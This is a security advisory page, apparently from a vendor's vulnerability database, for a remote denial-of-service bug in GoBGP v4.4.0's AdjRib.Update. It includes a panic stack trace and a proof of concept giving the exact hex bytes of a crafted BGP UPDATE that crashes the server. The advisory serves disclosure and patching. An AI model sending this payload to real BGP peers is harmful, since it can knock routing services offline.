GHSA-p3w2-64xm-833j
HIGHGHSA-p3w2-64xm-833j is a high-severity (CVSS 7.5) NULL Pointer Dereference vulnerability in github.com/osrg/gobgp/v4. O3 Security confirms whether GHSA-p3w2-64xm-833j is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
GoBGP has a panic in AdjRib.Update via malformed BGP Update message (Nil Pointer Dereference)
Blast Radius
github.com/osrg/gobgp/v4Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Remote Denial of Service (DoS) via Nil Pointer Dereference in BGP Update Processing An unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a "withdraw" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability.
Details
The vulnerability originates in the interaction between the BGP message decoding logic and the Adj-RIB table management.
Triggering Condition: When a BGP UPDATE message contains attributes that fail validation (e.g., "attribute value length is short"), GoBGP logs a warning: the received Update message was treated as withdraw.
Code Path:
The message reaches github.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate.
Due to the malformed attributes, the message is processed as a withdrawal, but the internal representation of the path or its attributes becomes nil.
The execution flows to internal/pkg/table/adj.go:127 within (*AdjRib).Update.
The Flaw: At line 127 in adj.go, the code attempts to access a member of a structure (likely the path or a specific attribute container) that is nil due to the previous validation failure.
Log Snippet:
{"time":"2026-04-21T12:43:10.009107962+08:00","level":"WARN","msg":"the received Update message was treated as withdraw","Topic":"Peer","Key":"192.168.31.195","State":"BGP_FSM_ESTABLISHED","Error":"attribute value length is short"}
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0xbca9e8]
goroutine 52 [running]:
github.com/osrg/gobgp/v4/internal/pkg/table.(*AdjRib).Update(0x1fec929b4480, {0x1fec928ca0e8, 0x1, 0xfffffffffffffffc?})
/home/base/Desktop/gobgp/internal/pkg/table/adj.go:127 +0xa8
github.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate(0x1fec92b90c40, 0x1fec92c0c900)
/home/base/Desktop/gobgp/pkg/server/peer.go:656 +0xed4
github.com/osrg/gobgp/v4/pkg/server.(*BgpServer).handleFSMMessage(0x1fec928c8488, 0x1fec92b90c40, 0x1fec92c0c900)
/home/base/Desktop/gobgp/pkg/server/server.go:1670 +0x14c6
github.com/osrg/gobgp/v4/pkg/server.(*BgpServer).startFsmHandler.func1(0x1fec935c0b00?)
/home/base/Desktop/gobgp/pkg/server/server.go:253 +0x25
github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).recvMessageloop(0x1fec92acee40, {0x105c750, 0x1fec92970500}, {0x106a558, 0x1fec933bc000}, 0x1fec92c1a2a0, 0x1fec92c18a10, 0x0?)
/home/base/Desktop/gobgp/pkg/server/fsm.go:1893 +0xe82
created by github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).established in goroutine 37
/home/base/Desktop/gobgp/pkg/server/fsm.go:1920 +0x2d5
PoC
[SEND] OPEN
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 1d 01 04 fd ea 00 5a c3 a8 1f c3 00
[RECV] Type: 1 | Length: 77
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 4d 01 04 fd e9 00 5a c0 a8 1f 82 30 02 2e 02 00 49 16 14 62 61 73 65 2d 76 69 72 74 75 61 6c 2d 6d 61 63 68 69 6e 65 00 01 04 00 19 00 46 41 04 00 00 fd e9 05 06 00 19 00 46 00 02
[+] Received OPEN from peer
[SEND] KEEPALIVE
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04
[RECV] Type: 4 | Length: 19
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04
[+] BGP Session Established
[SEND] Crafted UPDATE
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 50 02 00 04 18 ac 10 01 00 35 35 01 01 04 2d 02 00 90 0e 00 19 3e 01 a8 c0 1f 82 00 02 21 00 01 c0 a8 1f 12 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 11 22 33 44 55 0f 11 80 00
[*] Waiting for peer reaction...
[+] Done.
Impact
Remote Denial of Service (DoS) in GoBGP v4.4.0
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/osrg/gobgp/v4 | ≥ 4.4.0&&< 4.5.0 | 4.5.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/osrg/gobgp/v4. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/osrg/gobgp/v4 to 4.5.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-p3w2-64xm-833j is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-p3w2-64xm-833j is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-p3w2-64xm-833j. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-p3w2-64xm-833j in your dependencies?
O3 detects GHSA-p3w2-64xm-833j across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.